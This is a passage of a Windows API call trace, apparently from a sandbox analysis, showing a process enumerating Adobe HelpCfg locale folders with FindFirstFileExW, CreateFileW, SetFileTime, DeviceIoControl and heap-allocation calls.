RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.554] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.554] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.554] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb2a8 [0086.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e93a0 [0086.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.556] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.556] GetLastError () returned 0x12 [0086.556] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.556] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.556] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.556] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.556] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.556] GetLastError () returned 0x12 [0086.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.556] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.557] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl_PL", cAlternateFileName="")) returned 1 [0086.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.557] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\pl_pl"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.558] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\pl_pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0086.558] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.558] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.558] NtClose (Handle=0x180) returned 0x0 [0086.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.559] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.559] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.560] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.561] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb2c8 [0086.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e94a8 [0086.562] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.562] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.562] GetLastError () returned 0x12 [0086.562] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.562] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.562] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.562] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.562] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.562] GetLastError () returned 0x12 [0086.562] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.562] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.563] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0086.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.563] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\pt_br"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.563] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\pt_br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0086.564] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.564] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.564] NtClose (Handle=0x168) returned 0x0 [0086.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.567] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.567] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.567] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb2e8 [0086.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e95b0 [0086.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.605] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.605] GetLastError () returned 0x12 [0086.605] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.605] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.605] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.605] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.605] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.605] GetLastError () returned 0x12 [0086.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.605] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.606] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.606] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.606] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro_RO", cAlternateFileName="")) returned 1 [0086.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.606] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ro_ro"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.647] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ro_ro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0086.648] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.648] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.650] NtClose (Handle=0x180) returned 0x0 [0086.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.651] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.651] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.651] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.651] RtlAllocateHeap (HeapHandle=0x940000, 